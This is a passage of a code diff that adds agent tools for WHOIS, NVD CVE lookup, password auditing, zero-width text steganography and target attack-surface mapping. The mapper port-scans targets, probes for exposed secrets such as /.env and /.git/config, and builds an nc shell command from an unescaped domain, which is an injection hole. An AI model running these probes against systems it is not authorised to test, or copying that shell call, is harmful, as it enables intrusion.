+ ? [...new Set(nsMatches.map(m => m.replace(/Name\s*Server:\s*/i, '').trim().toLowerCase()))]
1901
+ : [];
1902
+ if (Object.keys(fields).length > 0 || nameservers.length > 0) {
1903
+ lines.push('| Field | Value |');
1904
+ lines.push('|-------|-------|');
1905
+ for (const [key, value] of Object.entries(fields)) {
1906
+ lines.push(`| ${key} | ${value} |`);
1907
+ }
1908
+ lines.push('');
1909
+ if (nameservers.length > 0) {
1910
+ lines.push('### Nameservers');
1911
+ for (const ns of nameservers)
1912
+ lines.push(`- ${ns}`);
1913
+ lines.push('');
1914
+ }
1915
+ // Check expiration
1916
+ if (fields['Expires']) {
1917
+ const expDate = new Date(fields['Expires']);
1918
+ if (!isNaN(expDate.getTime())) {
1919
+ const daysLeft = Math.ceil((expDate.getTime() - Date.now()) / (1000 * 60 * 60 * 24));
1920
+ if (daysLeft < 0) {
1921
+ lines.push(`**Warning**: Domain expired ${Math.abs(daysLeft)} days ago!`);
1922
+ }
1923
+ else if (daysLeft < 30) {
1924
+ lines.push(`**Warning**: Domain expires in ${daysLeft} days!`);
1925
+ }
1926
+ }
1927
+ }
1928
+ }
1929
+ else {
1930
+ // Show raw output if parsing failed
1931
+ lines.push('### Raw WHOIS Data');
1932
+ lines.push('```');
1933
+ lines.push(raw.slice(0, 3000));
1934
+ lines.push('```');
1935
+ }
1936
+ }
1937
+ catch (e) {
1938
+ lines.push(`**Error**: whois command failed — ${e.message}`);
1939
+ lines.push('Make sure the `whois` command is installed on this system.');
1940
+ }
1941
+ return lines.join('\n');
1942
+ },
1943
+ });
1944
+ // ─────────────────────────────────────────────────────────────────────────────
1945
+ // 11. exploit_search — Search for known exploits
1946
+ // ─────────────────────────────────────────────────────────────────────────────
1947
+ registerTool({
1948
+ name: 'exploit_search',
1949
+ description: 'Search for known exploits and CVEs. Queries the NVD (National Vulnerability Database) API for CVE data. Returns CVE IDs, descriptions, CVSS scores, and references.',
1950
+ parameters: {
1951
+ query: { type: 'string', description: 'CVE ID (e.g., CVE-2024-1234), software name, or keyword', required: true },
1952
+ source: { type: 'string', description: 'Source: nist, cve, all', default: 'all' },
1953
+ },
1954
+ tier: 'free',
1955
+ timeout: 30_000,
1956
+ async execute(args) {
1957
+ const query = String(args.query).trim();
1958
+ const lines = [
1959
+ '## Exploit / CVE Search',
1960
+ '',
1961
+ `**Query**: ${query}`,
1962
+ '',
1963
+ ];
1964
+ // Check if it's a CVE ID
1965
+ const isCVE = /^CVE-\d{4}-\d{4,}$/i.test(query);
1966
+ try {
1967
+ let apiUrl;
1968
+ if (isCVE) {
1969
+ apiUrl = `https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=${encodeURIComponent(query.toUpperCase())}`;
1970
+ }
1971
+ else {
1972
+ apiUrl = `https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=${encodeURIComponent(query)}&resultsPerPage=20`;
1973
+ }
1974
+ const resp = await fetchWithTimeout(apiUrl, {
1975
+ headers: { 'Accept': 'application/json' },
1976
+ }, 20000);
1977
+ if (!resp.ok) {
1978
+ lines.push(`**NVD API returned**: ${resp.status} ${resp.statusText}`);
1979
+ if (resp.status === 403) {
1980
+ lines.push('Note: NVD API may be rate-limited. Try again in a few seconds.');
1981
+ }
1982
+ return lines.join('\n');
1983
+ }
1984
+ const data = await resp.json();
1985
+ const vulns = data.vulnerabilities || [];
1986
+ if (vulns.length === 0) {
1987
+ lines.push('No results found in the National Vulnerability Database.');
1988
+ return lines.join('\n');
1989
+ }
1990
+ lines.push(`**Results**: ${data.totalResults || vulns.length} total (showing ${vulns.length})`);
1991
+ lines.push('');
1992
+ for (const vuln of vulns) {
1993
+ const cve = vuln.cve;
1994
+ const id = cve.id;
1995
+ const description = cve.descriptions?.find((d) => d.lang === 'en')?.value || 'No description';
1996
+ // CVSS score
1997
+ let cvssScore = 'N/A';
1998
+ let severity = 'N/A';
1999
+ let cvssVector = '';
2000
+ // Try CVSS 3.1 first, then 3.0, then 2.0
2001
+ const metrics = cve.metrics || {};
2002
+ const cvss31 = metrics.cvssMetricV31?.[0]?.cvssData;
2003
+ const cvss30 = metrics.cvssMetricV30?.[0]?.cvssData;
2004
+ const cvss2 = metrics.cvssMetricV2?.[0]?.cvssData;
2005
+ if (cvss31) {
2006
+ cvssScore = String(cvss31.baseScore);
2007
+ severity = cvss31.baseSeverity || 'N/A';
2008
+ cvssVector = cvss31.vectorString || '';
2009
+ }
2010
+ else if (cvss30) {
2011
+ cvssScore = String(cvss30.baseScore);
2012
+ severity = cvss30.baseSeverity || 'N/A';
2013
+ cvssVector = cvss30.vectorString || '';
2014
+ }
2015
+ else if (cvss2) {
2016
+ cvssScore = String(cvss2.baseScore);
2017
+ severity = cvss2.baseSeverity || 'N/A';
2018
+ cvssVector = cvss2.vectorString || '';
2019
+ }
2020
+ const published = cve.published ? new Date(cve.published).toISOString().split('T')[0] : 'N/A';
2021
+ const modified = cve.lastModified ? new Date(cve.lastModified).toISOString().split('T')[0] : 'N/A';
2022
+ lines.push(`### ${id}`);
2023
+ lines.push('');
2024
+ lines.push(`**CVSS**: ${cvssScore} (${severity})${cvssVector ? ` — \`${cvssVector}\`` : ''}`);
2025
+ lines.push(`**Published**: ${published} | **Modified**: ${modified}`);
2026
+ lines.push('');
2027
+ lines.push(description.length > 500 ? description.slice(0, 500) + '...' : description);
2028
+ lines.push('');
2029
+ // CWE
2030
+ const weaknesses = cve.weaknesses || [];
2031
+ const cwes = weaknesses
2032
+ .flatMap((w) => w.description || [])
2033
+ .filter((d) => d.lang === 'en')
2034
+ .map((d) => d.value);
2035
+ if (cwes.length > 0) {
2036
+ lines.push(`**CWE**: ${cwes.join(', ')}`);
2037
+ }
2038
+ // References (show top 5)
2039
+ const refs = (cve.references || []).slice(0, 5);
2040
+ if (refs.length > 0) {
2041
+ lines.push('**References**:');
2042
+ for (const ref of refs) {
2043
+ const tags = ref.tags?.length ? ` [${ref.tags.join(', ')}]` : '';
2044
+ lines.push(` - ${ref.url}${tags}`);
2045
+ }
2046
+ }
2047
+ lines.push('');
2048
+ lines.push('---');
2049
+ lines.push('');
2050
+ }
2051
+ }
2052
+ catch (e) {
2053
+ lines.push(`**Error**: ${e.message}`);
2054
+ lines.push('');
2055
+ lines.push('If the NVD API is unavailable, try searching directly at https://nvd.nist.gov/vuln/search');
2056
+ }
2057
+ return lines.join('\n');
2058
+ },
2059
+ });
2060
+ // ─────────────────────────────────────────────────────────────────────────────
2061
+ // 12. password_audit — Password strength analysis
2062
+ // ─────────────────────────────────────────────────────────────────────────────
2063
+ registerTool({
2064
+ name: 'password_audit',
2065
+ description: 'Analyze password strength. Checks length, complexity, entropy, common patterns (keyboard walks, dates, dictionary words), and estimated crack time. Optionally checks Have I Been Pwned (HIBP) breach database using k-anonymity.',
2066
+ parameters: {
2067
+ password: { type: 'string', description: 'Password to audit', required: true },
2068
+ check_breach: { type: 'string', description: 'Check HIBP breach database (true/false)', default: 'true' },
2069
+ },
2070
+ tier: 'free',
2071
+ timeout: 15_000,
2072
+ async execute(args) {
2073
+ const password = String(args.password);
2074
+ const checkBreach = String(args.check_breach) !== 'false';
2075
+ const lines = [
2076
+ '## Password Strength Audit',
2077
+ '',
2078
+ `**Password**: \`${'*'.repeat(password.length)}\` (${password.length} characters)`,
2079
+ '',
2080
+ ];
2081
+ // Character class analysis
2082
+ const hasLower = /[a-z]/.test(password);
2083
+ const hasUpper = /[A-Z]/.test(password);
2084
+ const hasDigit = /[0-9]/.test(password);
2085
+ const hasSpecial = /[^a-zA-Z0-9]/.test(password);
2086
+ const charClasses = [hasLower, hasUpper, hasDigit, hasSpecial].filter(Boolean).length;
2087
+ lines.push('### Character Classes');
2088
+ lines.push(`- Lowercase: ${hasLower ? 'Yes' : 'No'}`);
2089
+ lines.push(`- Uppercase: ${hasUpper ? 'Yes' : 'No'}`);
2090
+ lines.push(`- Digits: ${hasDigit ? 'Yes' : 'No'}`);
2091
+ lines.push(`- Special: ${hasSpecial ? 'Yes' : 'No'}`);
2092
+ lines.push(`- **Classes used**: ${charClasses}/4`);
2093
+ lines.push('');
2094
+ // Entropy
2095
+ const entropy = calculatePasswordEntropy(password);
2096
+ lines.push('### Entropy');
2097
+ lines.push(`- **Bits of entropy**: ${entropy.toFixed(1)}`);
2098
+ lines.push(`- **Estimated crack time**: ${estimateCrackTime(entropy)} (10B guesses/sec)`);
2099
+ lines.push('');
2100
+ // Common patterns
2101
+ const patterns = [];
2102
+ // Keyboard walks
2103
+ const keyboardRows = ['qwertyuiop', 'asdfghjkl', 'zxcvbnm', '1234567890'];
2104
+ for (const row of keyboardRows) {
2105
+ for (let len = 4; len <= row.length; len++) {
2106
+ for (let i = 0; i <= row.length - len; i++) {
2107
+ const seq = row.slice(i, i + len);
2108
+ if (password.toLowerCase().includes(seq)) {
2109
+ patterns.push(`Keyboard walk: "${seq}"`);
2110
+ }
2111
+ // Reverse
2112
+ const rev = seq.split('').reverse().join('');
2113
+ if (password.toLowerCase().includes(rev)) {
2114
+ patterns.push(`Reversed keyboard walk: "${rev}"`);
2115
+ }
2116
+ }
2117
+ }
2118
+ }
2119
+ // Sequential digits/letters
2120
+ for (let len = 4; len <= 8; len++) {
2121
+ for (let start = 0; start <= 9 - len; start++) {
2122
+ const seq = Array.from({ length: len }, (_, i) => String(start + i)).join('');
2123
+ if (password.includes(seq))
2124
+ patterns.push(`Sequential digits: "${seq}"`);
2125
+ }
2126
+ }
2127
+ // Repeated characters
2128
+ if (/(.)\1{3,}/.test(password)) {
2129
+ const match = password.match(/(.)\1{3,}/);
2130
+ if (match)
2131
+ patterns.push(`Repeated character: "${match[0]}"`);
2132
+ }
2133
+ // Date patterns
2134
+ if (/(?:19|20)\d{2}[-/]?\d{2}[-/]?\d{2}/.test(password)) {
2135
+ patterns.push('Contains date pattern (YYYY-MM-DD)');
2136
+ }
2137
+ if (/\d{2}[-/]\d{2}[-/](?:19|20)\d{2}/.test(password)) {
2138
+ patterns.push('Contains date pattern (MM/DD/YYYY)');
2139
+ }
2140
+ // Common word check
2141
+ const lowerPass = password.toLowerCase();
2142
+ const foundWords = COMMON_PASSWORDS.filter(w => lowerPass.includes(w) && w.length >= 4).slice(0, 5);
2143
+ if (foundWords.length > 0) {
2144
+ patterns.push(`Contains common password words: ${foundWords.map(w => `"${w}"`).join(', ')}`);
2145
+ }
2146
+ // L33t speak detection
2147
+ const l33tMap = { '4': 'a', '@': 'a', '3': 'e', '1': 'i', '!': 'i', '0': 'o', '5': 's', '$': 's', '7': 't', '+': 't' };
2148
+ let dl33ted = lowerPass;
2149
+ for (const [k, v] of Object.entries(l33tMap)) {
2150
+ dl33ted = dl33ted.split(k).join(v);
2151
+ }
2152
+ if (dl33ted !== lowerPass) {
2153
+ const l33tWords = COMMON_PASSWORDS.filter(w => dl33ted.includes(w) && w.length >= 4).slice(0, 3);
2154
+ if (l33tWords.length > 0) {
2155
+ patterns.push(`L33t-speak detected (de-l33ted: "${dl33ted}"): matches ${l33tWords.map(w => `"${w}"`).join(', ')}`);
2156
+ }
2157
+ }
2158
+ if (patterns.length > 0) {
2159
+ lines.push('### Weaknesses Detected');
2160
+ for (const p of patterns)
2161
+ lines.push(`- ${p}`);
2162
+ lines.push('');
2163
+ }
2164
+ else {
2165
+ lines.push('### No Common Patterns Detected');
2166
+ lines.push('');
2167
+ }
2168
+ // HIBP check
2169
+ if (checkBreach) {
2170
+ lines.push('### Have I Been Pwned Check');
2171
+ try {
2172
+ const sha1 = createHash('sha1').update(password).digest('hex').toUpperCase();
2173
+ const prefix = sha1.slice(0, 5);
2174
+ const suffix = sha1.slice(5);
2175
+ const resp = await fetchWithTimeout(`https://api.pwnedpasswords.com/range/${prefix}`, {
2176
+ headers: { 'User-Agent': 'kbot-password-audit' },
2177
+ }, 10000);
2178
+ if (resp.ok) {
2179
+ const text = await resp.text();
2180
+ const hashLines = text.split('\n');
2181
+ let breachCount = 0;
2182
+ for (const line of hashLines) {
2183
+ const [hashSuffix, count] = line.trim().split(':');
2184
+ if (hashSuffix === suffix) {
2185
+ breachCount = parseInt(count, 10);
2186
+ break;
2187
+ }
2188
+ }
2189
+ if (breachCount > 0) {
2190
+ lines.push(`- **BREACHED**: This password appeared **${breachCount.toLocaleString()} times** in data breaches!`);
2191
+ lines.push('- **Action**: Change this password immediately.');
2192
+ }
2193
+ else {
2194
+ lines.push('- **Not found** in known data breaches (k-anonymity check passed).');
2195
+ }
2196
+ }
2197
+ else {
2198
+ lines.push(`- HIBP API returned ${resp.status} — check skipped.`);
2199
+ }
2200
+ }
2201
+ catch (e) {
2202
+ lines.push(`- HIBP check failed: ${e.message}`);
2203
+ }
2204
+ lines.push('');
2205
+ }
2206
+ // Overall score
2207
+ let score = 0;
2208
+ if (password.length >= 8)
2209
+ score += 1;
2210
+ if (password.length >= 12)
2211
+ score += 1;
2212
+ if (password.length >= 16)
2213
+ score += 1;
2214
+ if (charClasses >= 3)
2215
+ score += 1;
2216
+ if (charClasses >= 4)
2217
+ score += 1;
2218
+ if (entropy >= 40)
2219
+ score += 1;
2220
+ if (entropy >= 60)
2221
+ score += 1;
2222
+ if (entropy >= 80)
2223
+ score += 1;
2224
+ if (patterns.length === 0)
2225
+ score += 1;
2226
+ if (foundWords.length === 0)
2227
+ score += 1;
2228
+ const maxScore = 10;
2229
+ const rating = score <= 2 ? 'Very Weak' : score <= 4 ? 'Weak' : score <= 6 ? 'Moderate' : score <= 8 ? 'Strong' : 'Very Strong';
2230
+ lines.push('### Overall Rating');
2231
+ lines.push(`**Score**: ${score}/${maxScore} — **${rating}**`);
2232
+ lines.push('');
2233
+ // Recommendations
2234
+ const recs = [];
2235
+ if (password.length < 12)
2236
+ recs.push('Increase length to at least 12 characters');
2237
+ if (charClasses < 3)
2238
+ recs.push('Use at least 3 character classes (upper, lower, digit, special)');
2239
+ if (patterns.length > 0)
2240
+ recs.push('Avoid common patterns, keyboard walks, and dictionary words');
2241
+ if (entropy < 60)
2242
+ recs.push('Consider using a passphrase (4+ random words) for better entropy');
2243
+ recs.push('Use a password manager to generate and store unique passwords');
2244
+ if (recs.length > 0) {
2245
+ lines.push('### Recommendations');
2246
+ for (const r of recs)
2247
+ lines.push(`- ${r}`);
2248
+ }
2249
+ return lines.join('\n');
2250
+ },
2251
+ });
2252
+ // ─────────────────────────────────────────────────────────────────────────────
2253
+ // 13. attack_surface — Map attack surface
2254
+ // ─────────────────────────────────────────────────────────────────────────────
2255
+ registerTool({
2256
+ name: 'attack_surface',
2257
+ description: 'Map the attack surface of a target. Combines DNS records, common open ports, HTTP methods, technology stack, security headers, and exposed paths into a comprehensive attack surface map.',
2258
+ parameters: {
2259
+ target: { type: 'string', description: 'URL or domain to map', required: true },
2260
+ },
2261
+ tier: 'free',
2262
+ timeout: 120_000,
2263
+ async execute(args) {
2264
+ const rawTarget = String(args.target).trim();
2265
+ const domain = rawTarget.replace(/^https?:\/\//, '').replace(/\/.*$/, '').replace(/:.*$/, '');
2266
+ const url = rawTarget.startsWith('http') ? rawTarget : `https://${rawTarget}`;
2267
+ const lines = [
2268
+ '## Attack Surface Map',
2269
+ '',
2270
+ `**Target**: ${domain}`,
2271
+ `**URL**: ${url}`,
2272
+ `**Scanned at**: ${new Date().toISOString()}`,
2273
+ '',
2274
+ ];
2275
+ // 1. DNS Records
2276
+ lines.push('### 1. DNS Records');
2277
+ const resolver = new Resolver();
2278
+ resolver.setServers(['8.8.8.8', '1.1.1.1']);
2279
+ const dnsResults = {};
2280
+ const dnsChecks = [
2281
+ { type: 'A', fn: () => resolver.resolve4(domain) },
2282
+ { type: 'AAAA', fn: () => resolver.resolve6(domain) },
2283
+ { type: 'MX', fn: () => resolver.resolveMx(domain) },
2284
+ { type: 'NS', fn: () => resolver.resolveNs(domain) },
2285
+ { type: 'TXT', fn: () => resolver.resolveTxt(domain) },
2286
+ ];
2287
+ for (const check of dnsChecks) {
2288
+ try {
2289
+ dnsResults[check.type] = await check.fn();
2290
+ }
2291
+ catch { /* skip */ }
2292
+ }
2293
+ if (dnsResults['A'])
2294
+ lines.push(`- **A**: ${dnsResults['A'].join(', ')}`);
2295
+ if (dnsResults['AAAA'])
2296
+ lines.push(`- **AAAA**: ${dnsResults['AAAA'].join(', ')}`);
2297
+ if (dnsResults['MX'])
2298
+ lines.push(`- **MX**: ${dnsResults['MX'].map((m) => `${m.exchange} (pri ${m.priority})`).join(', ')}`);
2299
+ if (dnsResults['NS'])
2300
+ lines.push(`- **NS**: ${dnsResults['NS'].join(', ')}`);
2301
+ if (dnsResults['TXT']) {
2302
+ for (const txt of dnsResults['TXT']) {
2303
+ const val = txt.join('');
2304
+ // Flag interesting TXT records
2305
+ if (/v=spf|dkim|dmarc|verification|google-site|ms=|facebook/i.test(val)) {
2306
+ lines.push(`- **TXT**: \`${val.slice(0, 100)}\``);
2307
+ }
2308
+ }
2309
+ }
2310
+ lines.push('');
2311
+ // 2. Port Check (using fetch to common ports)
2312
+ lines.push('### 2. Port Scan (Common Ports)');
2313
+ const ports = [
2314
+ { port: 80, service: 'HTTP' },
2315
+ { port: 443, service: 'HTTPS' },
2316
+ { port: 8080, service: 'HTTP-Alt' },
2317
+ { port: 8443, service: 'HTTPS-Alt' },
2318
+ { port: 22, service: 'SSH' },
2319
+ { port: 21, service: 'FTP' },
2320
+ { port: 3306, service: 'MySQL' },
2321
+ { port: 5432, service: 'PostgreSQL' },
2322
+ { port: 27017, service: 'MongoDB' },
2323
+ { port: 6379, service: 'Redis' },
2324
+ ];
2325
+ const portResults = [];
2326
+ const portChecks = ports.map(async (p) => {
2327
+ try {
2328
+ // Try TCP connection via fetch for HTTP ports, or just check if it responds
2329
+ if (p.port === 80 || p.port === 443 || p.port === 8080 || p.port === 8443) {
2330
+ const proto = p.port === 443 || p.port === 8443 ? 'https' : 'http';
2331
+ const resp = await fetchWithTimeout(`${proto}://${domain}:${p.port}/`, {}, 5000);
2332
+ return { ...p, open: true };
2333
+ }
2334
+ else {
2335
+ // For non-HTTP ports, try a raw connection test via command
2336
+ try {
2337
+ execSync(`nc -z -w 3 ${domain} ${p.port} 2>/dev/null`, { timeout: 5000 });
2338
+ return { ...p, open: true };
2339
+ }
2340
+ catch {
2341
+ return { ...p, open: false };
2342
+ }
2343
+ }
2344
+ }
2345
+ catch {
2346
+ return { ...p, open: false };
2347
+ }
2348
+ });
2349
+ const portScanResults = await Promise.allSettled(portChecks);
2350
+ for (const r of portScanResults) {
2351
+ if (r.status === 'fulfilled')
2352
+ portResults.push(r.value);
2353
+ }
2354
+ const openPorts = portResults.filter(p => p.open);
2355
+ if (openPorts.length > 0) {
2356
+ lines.push('| Port | Service | Status |');
2357
+ lines.push('|------|---------|--------|');
2358
+ for (const p of portResults) {
2359
+ lines.push(`| ${p.port} | ${p.service} | ${p.open ? 'OPEN' : 'closed'} |`);
2360
+ }
2361
+ }
2362
+ else {
2363
+ lines.push('No common ports responded (may be filtered by firewall).');
2364
+ }
2365
+ lines.push('');
2366
+ // 3. HTTP Methods
2367
+ lines.push('### 3. HTTP Methods');
2368
+ const methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD', 'TRACE'];
2369
+ const allowedMethods = [];
2370
+ for (const method of methods) {
2371
+ try {
2372
+ const resp = await fetchWithTimeout(url, { method }, 5000);
2373
+ if (resp.status < 500 && resp.status !== 405) {
2374
+ allowedMethods.push(`${method} (${resp.status})`);
2375
+ }
2376
+ }
2377
+ catch { /* skip */ }
2378
+ }
2379
+ lines.push(`Allowed: ${allowedMethods.join(', ') || 'Could not determine'}`);
2380
+ if (allowedMethods.some(m => m.startsWith('TRACE'))) {
2381
+ lines.push('**Warning**: TRACE method enabled — potential Cross-Site Tracing (XST) vulnerability');
2382
+ }
2383
+ if (allowedMethods.some(m => m.startsWith('PUT') || m.startsWith('DELETE'))) {
2384
+ lines.push('**Note**: PUT/DELETE methods available — verify proper authorization');
2385
+ }
2386
+ lines.push('');
2387
+ // 4. Security Headers
2388
+ lines.push('### 4. Security Headers');
2389
+ try {
2390
+ const resp = await fetchWithTimeout(url, {}, 10000);
2391
+ const headers = Object.fromEntries(resp.headers.entries());
2392
+ const secHeaders = [
2393
+ { name: 'Strict-Transport-Security', key: 'strict-transport-security', critical: true },
2394
+ { name: 'Content-Security-Policy', key: 'content-security-policy', critical: true },
2395
+ { name: 'X-Frame-Options', key: 'x-frame-options', critical: true },
2396
+ { name: 'X-Content-Type-Options', key: 'x-content-type-options', critical: false },
2397
+ { name: 'X-XSS-Protection', key: 'x-xss-protection', critical: false },
2398
+ { name: 'Referrer-Policy', key: 'referrer-policy', critical: false },
2399
+ { name: 'Permissions-Policy', key: 'permissions-policy', critical: false },
2400
+ { name: 'Cross-Origin-Opener-Policy', key: 'cross-origin-opener-policy', critical: false },
2401
+ { name: 'Cross-Origin-Resource-Policy', key: 'cross-origin-resource-policy', critical: false },
2402
+ ];
2403
+ let missingCritical = 0;
2404
+ for (const sh of secHeaders) {
2405
+ const val = headers[sh.key];
2406
+ const status = val ? 'Present' : (sh.critical ? 'MISSING (critical)' : 'Missing');
2407
+ if (!val && sh.critical)
2408
+ missingCritical++;
2409
+ lines.push(`- **${sh.name}**: ${val ? `\`${val.slice(0, 80)}\`` : status}`);
2410
+ }
2411
+ // Information disclosure
2412
+ const infoHeaders = ['server', 'x-powered-by', 'x-aspnet-version', 'x-aspnetmvc-version'];
2413
+ const disclosed = infoHeaders.filter(h => headers[h]);
2414
+ if (disclosed.length > 0) {
2415
+ lines.push('');
2416
+ lines.push('**Information Disclosure**:');
2417
+ for (const h of disclosed) {
2418
+ lines.push(`- ${h}: \`${headers[h]}\``);
2419
+ }
2420
+ }
2421
+ lines.push('');
2422
+ if (missingCritical > 0) {
2423
+ lines.push(`**Warning**: ${missingCritical} critical security headers are missing.`);
2424
+ lines.push('');
2425
+ }
2426
+ }
2427
+ catch (e) {
2428
+ lines.push(`Error fetching headers: ${e.message}`);
2429
+ lines.push('');
2430
+ }
2431
+ // 5. Common Paths
2432
+ lines.push('### 5. Exposed Paths');
2433
+ const commonPaths = [
2434
+ '/.env', '/.git/HEAD', '/.git/config', '/wp-admin/', '/wp-login.php',
2435
+ '/admin/', '/administrator/', '/phpmyadmin/', '/server-status', '/server-info',
2436
+ '/robots.txt', '/sitemap.xml', '/.well-known/security.txt', '/api/',
2437
+ '/swagger/', '/swagger-ui/', '/api-docs/', '/graphql', '/debug/',
2438
+ '/.DS_Store', '/backup/', '/dump/', '/phpinfo.php', '/info.php',
2439
+ '/elmah.axd', '/trace.axd', '/.htaccess', '/web.config',
2440
+ '/crossdomain.xml', '/clientaccesspolicy.xml', '/readme.html',
2441
+ ];
2442
+ const exposedPaths = [];
2443
+ const pathBatchSize = 10;
2444
+ for (let i = 0; i < commonPaths.length; i += pathBatchSize) {
2445
+ const batch = commonPaths.slice(i, i + pathBatchSize);
2446
+ const results = await Promise.allSettled(batch.map(async (path) => {
2447
+ const resp = await fetchWithTimeout(`${url}${path}`, {
2448
+ redirect: 'follow',
2449
+ }, 5000);
2450
+ return { path, status: resp.status, size: parseInt(resp.headers.get('content-length') || '0', 10) };
2451
+ }));
2452
+ for (const r of results) {
2453
+ if (r.status === 'fulfilled' && r.value.status < 400) {
2454
+ exposedPaths.push(r.value);
2455
+ }
2456
+ }
2457
+ }
2458
+ if (exposedPaths.length > 0) {
2459
+ lines.push('| Path | Status | Size |');
2460
+ lines.push('|------|--------|------|');
2461
+ for (const ep of exposedPaths) {
2462
+ const warning = ['.env', '.git', 'phpinfo', '.htaccess', 'web.config', 'debug', 'dump', 'backup'].some(s => ep.path.includes(s))
2463
+ ? ' ⚠️' : '';
2464
+ lines.push(`| ${ep.path}${warning} | ${ep.status} | ${ep.size > 0 ? ep.size + 'B' : 'unknown'} |`);
2465
+ }
2466
+ }
2467
+ else {
2468
+ lines.push('No common sensitive paths found accessible.');
2469
+ }
2470
+ lines.push('');
2471
+ // Summary
2472
+ lines.push('---');
2473
+ lines.push('### Attack Surface Summary');
2474
+ lines.push(`- **DNS IPs**: ${dnsResults['A']?.length || 0} IPv4, ${dnsResults['AAAA']?.length || 0} IPv6`);
2475
+ lines.push(`- **Open ports**: ${openPorts.length}`);
2476
+ lines.push(`- **HTTP methods**: ${allowedMethods.length}`);
2477
+ lines.push(`- **Exposed paths**: ${exposedPaths.length}`);
2478
+ return lines.join('\n');
2479
+ },
2480
+ });
2481
+ // ─────────────────────────────────────────────────────────────────────────────
2482
+ // 14. steganography — Hide/extract data in text
2483
+ // ─────────────────────────────────────────────────────────────────────────────
2484
+ registerTool({
2485
+ name: 'steganography',
2486
+ description: 'Hide or extract secret messages in text using zero-width character encoding (ZWC). Uses zero-width space (U+200B = 0) and zero-width non-joiner (U+200C = 1) to encode binary data between words.',
2487
+ parameters: {
2488
+ action: { type: 'string', description: '"hide" or "extract"', required: true },
2489
+ carrier: { type: 'string', description: 'Carrier text (the visible text)', required: true },
2490
+ message: { type: 'string', description: 'Secret message to hide (required for hide action)' },
2491
+ },
2492
+ tier: 'free',
2493
+ async execute(args) {
2494
+ const action = String(args.action).toLowerCase();
2495
+ const carrier = String(args.carrier);
2496
+ const ZWS = '\u200B'; // zero-width space = 0
2497
+ const ZWNJ = '\u200C'; // zero-width non-joiner = 1
2498
+ const ZWJ = '\u200D'; // zero-width joiner = separator between bytes
2499
+ const MARKER_START = '\u2060'; // word joiner — marks start of hidden data
2500
+ const MARKER_END = '\uFEFF'; // byte order mark — marks end of hidden data
2501
+ if (action === 'hide') {
2502
+ const message = String(args.message || '');
2503
+ if (!message)
2504
+ return 'Error: message parameter required for hide action';
2505
+ // Convert message to binary
2506
+ const msgBuffer = Buffer.from(message, 'utf-8');
2507
+ const binaryChars = [];
2508
+ for (const byte of msgBuffer) {
2509
+ const bits = byte.toString(2).padStart(8, '0');
2510
+ const encoded = bits.split('').map(b => b === '0' ? ZWS : ZWNJ).join('');
2511
+ binaryChars.push(encoded);
2512
+ }
2513
+ const hiddenData = MARKER_START + binaryChars.join(ZWJ) + MARKER_END;
2514
+ // Insert hidden data between words
2515
+ const words = carrier.split(' ');
2516
+ let result;
2517
+ if (words.length > 1) {
2518
+ // Insert after the first word
2519
+ result = words[0] + hiddenData + ' ' + words.slice(1).join(' ');
2520
+ }
2521
+ else {
2522
+ result = carrier + hiddenData;
2523
+ }
2524
+ const lines = [
2525
+ '## Steganography — Hide',
2526
+ '',
2527
+ `**Visible text**: ${carrier}`,
2528
+ `**Hidden message**: ${message}`,
2529
+ `**Message size**: ${msgBuffer.length} bytes (${msgBuffer.length * 8} bits)`,
2530
+ `**Zero-width chars added**: ${hiddenData.length}`,
2531
+ '',
2532
+ '### Encoded Text (copy this)',
2533
+ '```',
2534
+ result,
2535
+ '```',
2536
+ '',
2537
+ '**Note**: The text above looks identical to the carrier but contains hidden zero-width characters.',
2538
+ `**Carrier length**: ${carrier.length} chars`,
2539
+ `**Encoded length**: ${result.length} chars`,
2540
+ `**Added**: ${result.length - carrier.length} invisible characters`,
2541
+ ];
2542
+ return lines.join('\n');
2543
+ }
2544
+ else if (action === 'extract') {
2545
+ // Find hidden data between markers
2546
+ const startIdx = carrier.indexOf(MARKER_START);
2547
+ const endIdx = carrier.indexOf(MARKER_END);
2548
+ if (startIdx === -1 || endIdx === -1 || endIdx <= startIdx) {
2549
+ // Try without markers — just look for zero-width characters
2550
+ const zwChars = carrier.match(/[\u200B\u200C\u200D]+/g);
2551
+ if (!zwChars || zwChars.length === 0) {
2552
+ return '## Steganography — Extract\n\nNo hidden data found in the carrier text. The text does not contain zero-width characters.';
2553
+ }
2554
+ // Try to decode without markers
2555
+ const allZW = zwChars.join('');
2556
+ const bytes = [];
2557
+ const bitGroups = allZW.split(ZWJ);
2558
+ for (const group of bitGroups) {
2559
+ if (group.length === 0)
2560
+ continue;
2561
+ let byte = 0;
2562
+ for (const char of group) {
2563
+ byte = (byte << 1) | (char === ZWNJ ? 1 : 0);
2564
+ }
2565
+ bytes.push(byte);
2566
+ }
2567
+ const decoded = Buffer.from(bytes).toString('utf-8');
2568
+ return [
2569
+ '## Steganography — Extract',
2570
+ '',
2571
+ '**Note**: No markers found, attempting best-effort decode of zero-width characters.',
2572
+ '',
2573
+ `**Zero-width characters found**: ${allZW.length}`,
2574
+ `**Decoded bytes**: ${bytes.length}`,
2575
+ '',
2576
+ '### Extracted Message',
2577
+ '```',
2578
+ decoded,
2579
+ '```',
2580
+ ].join('\n');
2581
+ }
2582
+ const hiddenData = carrier.slice(startIdx + 1, endIdx);
2583
+ const byteGroups = hiddenData.split(ZWJ);
2584
+ const bytes = [];
2585
+ for (const group of byteGroups) {
2586
+ if (group.length === 0)
2587
+ continue;
2588
+ let byte = 0;
2589
+ for (const char of group) {
2590
+ byte = (byte << 1) | (char === ZWNJ ? 1 : 0);
2591
+ }
2592
+ bytes.push(byte);
2593
+ }
2594
+ const decoded = Buffer.from(bytes).toString('utf-8');
2595
+ // Also show the visible text without the hidden data
2596
+ const visibleText = carrier.slice(0, startIdx) + carrier.slice(endIdx + 1);
2597
+ return [
2598
+ '## Steganography — Extract',
2599
+ '',
2600
+ `**Visible text**: ${visibleText.trim()}`,
2601
+ `**Hidden bytes**: ${bytes.length}`,
2602
+ '',
2603
+ '### Extracted Secret Message',
2604
+ '```',
2605
+ decoded,
2606
+ '```',
2607
+ ].join('\n');
2608
+ }
2609
+ else {
2610
+ return 'Error: action must be "hide" or "extract"';
2611
+ }
2612
+ },
2613
+ });
2614
+ // ─────────────────────────────────────────────────────────────────────────────
2615
+ // 15. network_info — Network reconnaissance
2616
+ // ─────────────────────────────────────────────────────────────────────────────
2617
+ registerTool({
2618
+ name: 'network_info',
2619
